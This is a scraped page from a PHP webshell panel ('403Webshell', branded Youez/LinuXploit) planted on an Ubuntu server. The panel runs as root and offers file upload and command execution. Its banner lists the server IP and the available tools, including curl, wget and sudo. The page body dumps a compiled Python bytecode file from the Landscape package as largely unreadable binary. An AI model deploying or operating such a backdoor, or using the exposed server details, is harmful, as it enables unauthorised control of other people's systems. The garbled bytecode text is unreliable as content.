403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/landscape/lib/__pycache__/os_release.cpython-312.pyc
�

�~�e��8�dZddlZdZdZdZdddd	d
�Zd�Zd
d�Zy)z Get information from os-release.�Nz$/var/lib/snapd/hostfs/etc/os-releasez/etc/os-releasez/usr/lib/os-releasezdistributor-id�description�releasez	code-name)�NAME�PRETTY_NAME�
VERSION_ID�VERSION_CODENAMEc�6�t}tjj|�r$tj|tj
�sOt}tjj|�r$tj|tj
�st}|S)a3
    Provide the appropriate file for os release info.
    If a snap, we want the host os so need to use
    /var/lib/snapd/hostfs/etc/os-release, if not a snap
    /etc/os-release will be used as first fallback or
    /usr/lib/os-release as a fallback as indicated in os-release
    at Freedesktop.org
    )�OS_RELEASE_FILENAME�os�path�exists�access�R_OK�OS_RELEASE_FILENAME_FALLBACK)�os_filenames �:/usr/lib/python3/dist-packages/landscape/lib/os_release.py�get_os_filenamersg��&�K�
�7�7�>�>�+�&�b�i�i��
���/�3���w�w�~�~�k�*�"�)�)���G�G�3
�7�K���c�$�i}|�
t�}t|�5}|D]Z}|jd�\}}|tvs� t|j	�}|j	�j	d�}|||<�\	ddd�|S#1swY|SxYw)z�
    Returns a C{dict} holding information about the system LSB release
    by attempting to parse C{os_release_filename} if specified. If no
    filename is provided

    @raises: A FileNotFoundError if C{filename} does not exist.
    N�=�")r�open�split�OS_RELEASE_FILE_KEYS�strip)�os_release_filename�info�fd�line�key�values      r�parse_os_releaser"*s����D��"�-�/��	
�!�	"�"�b��	"�D����C��J�C���*�*�*�3�9�9�;�7�����
�+�+�C�0��!��S�	�
	"�"��K�"��K�s�"B�=B�B)N)�__doc__rr
r�&OS_RELEASE_FILENAME_SECONDARY_FALLBACKrrr"�rr�<module>r&s;��&�	�<��0��)>�&�� ��#�	���6r

Youez - 2016 - github.com/yon3zu
LinuXploit